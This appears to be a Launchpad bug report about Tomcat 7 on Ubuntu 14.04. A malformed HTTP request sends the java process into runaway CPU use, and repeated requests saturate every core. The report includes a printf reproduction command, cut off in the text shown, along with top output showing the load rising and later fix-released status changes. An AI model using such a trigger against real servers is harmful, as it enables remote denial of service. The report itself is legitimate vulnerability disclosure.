Tomcat 7 keeps using 100% CPU after sending an invalid HTTP request
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
Debian |
Fix Released
|
Unknown
|
|||
tomcat7 (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
I've been noticing during the last week that java process was using 100% CPU and after upgrading twice already the bug persisted. After keeping tcpdump in the background for about two days I managed to find the payload that triggers this bug.
To reproduce use the following command: printf "\0x05\
The more times you send the payload, the more CPU will be used as can be seen on my quad core system below (please note this can be exploited remotely, I'm doing it from the server itself for clarity):
-------
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
$ sudo service tomcat7 restart
* Stopping Tomcat servlet engine tomcat7 [ OK ]
* Starting Tomcat servlet engine tomcat7 [ OK ]
$ top -bn2 | awk '/^top/{i++}i>1' | head
top - 16:24:10 up 3:28, 1 user, load average: 0.33, 0.12, 0.27
Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.1 us, 0.3 sy, 0.0 ni, 99.3 id, 0.2 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 387092 used, 1658892 free, 28096 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
43 root 20 0 0 0 0 S 1.0 0.0 0:42.37 kworker/3:1
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
$ printf "\0x05\
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 09 Feb 2017 19:24:18 GMT
Connection: close
0
top - 16:24:26 up 3:28, 1 user, load average: 0.41, 0.15, 0.28
Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie
%Cpu(s): 25.1 us, 0.1 sy, 0.0 ni, 74.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 388316 used, 1657668 free, 28112 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152376 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 100.1 6.3 0:29.59 java
1047 root 20 0 19196 2056 1828 S 0.3 0.1 0:00.63 irqbalance
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init
$ printf "\0x05\
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 09 Feb 2017 19:24:28 GMT
Connection: close
0
top - 16:24:37 up 3:28, 1 user, load average: 0.65, 0.21, 0.29
Tasks: 132 total, 1 running, 131 sleeping, 0 stopped, 0 zombie
%Cpu(s): 50.0 us, 0.0 sy, 0.0 ni, 49.9 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 388484 used, 1657500 free, 28128 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152380 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 199.9 6.3 0:47.96 java
7 root 20 0 0 0 0 S 0.3 0.0 0:02.07 rcu_sched
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.21 init
$ printf "\0x05\
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 09 Feb 2017 19:24:39 GMT
Connection: close
0
top - 16:24:47 up 3:28, 1 user, load average: 1.01, 0.31, 0.32
Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie
%Cpu(s): 75.1 us, 0.1 sy, 0.0 ni, 24.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 389984 used, 1656000 free, 28136 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2043436 129548 18504 S 300.0 6.3 1:16.73 java
1 root 20 0 33480 4008 2640 S 0.3 0.2 0:01.22 init
41 root 20 0 0 0 0 S 0.3 0.0 0:00.54 kworker/1:1
$ printf "\0x05\
HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Transfer-Encoding: chunked
Date: Thu, 09 Feb 2017 19:24:49 GMT
Connection: close
0
top - 16:24:57 up 3:28, 1 user, load average: 1.47, 0.43, 0.36
Tasks: 134 total, 1 running, 133 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 390632 used, 1655352 free, 28152 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152392 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2110000 129552 18504 S 399.1 6.3 1:54.82 java
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
$ sleep 5m; top -bn2 | awk '/^top/{i++}i>1' | head
top - 16:30:24 up 3:34, 1 user, load average: 3.99, 2.81, 1.46
Tasks: 130 total, 1 running, 129 sleeping, 0 stopped, 0 zombie
%Cpu(s):100.0 us, 0.0 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 2045984 total, 397628 used, 1648356 free, 28392 buffers
KiB Swap: 2097148 total, 0 used, 2097148 free. 152400 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3139 tomcat7 20 0 2110000 139104 18504 S 400.0 6.8 23:42.48 java
1 root 20 0 33480 4008 2640 S 0.0 0.2 0:01.22 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
-------
Please let me know if I can assist you solving this problem. I'll probably upgrade to Ubuntu 16.04 LTS next week which hopefully it won't be vulnerable to this bug.
Thanks
CVE References
Changed in debian: | |
status: | Unknown → Confirmed |
Changed in debian: | |
status: | Confirmed → Fix Released |
I've updated the demonstration above since previously top was reporting incorrect overall CPU usage. Also added one extra sample 5 minutes later to show that it keeps going like that despite no other request was made.